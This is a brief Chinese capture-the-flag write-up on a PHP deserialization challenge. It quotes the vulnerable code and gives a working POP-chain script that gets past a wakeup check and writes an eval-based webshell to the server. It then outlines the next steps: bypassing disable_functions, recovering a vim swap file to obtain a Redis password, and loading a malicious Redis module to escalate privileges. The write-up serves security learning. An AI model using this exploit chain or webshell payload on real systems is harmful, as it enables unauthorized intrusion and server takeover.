这道题很有知识,值得多看几眼
首先就是代码审计
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
这里还是比较简单的,算是常规的poc链构造题目
pop链是这样的
<?php
class a{
public $code = "";
function __call($method,$args){
}
function __wakeup(){
$this->code = "";
}
}
class b{
function __destruct(){
echo $this->a->a();
}
}
$str = base64_encode('<?php @eval($_POST[a]);?>');
$B = new b();
$B->a = new a();
$B->a->code = "fputs(fopen('she.php', 'w'), base64_decode(\"$str\"));";
echo serialize($B);
上传payload后用webshell工具连接
然后会发现有限制,只能访问/var/www/html
目录
然后我们需要点手段才能去访问根目录下的flag,有两个方法,简单的方法就是直接绕过disalbe_functions
另外一种就是下载config.php.swp文件,并用vim恢复出原始文件vim -r config.php.swap
,接着另存为b.php :w b.php
然后我们发现了有redis的密码,我们可以利用这个密码来进行提权
首先先把redis的恶意提权模块上传到网站目录下面
接着加载这个模块,利用这个模块获得flag
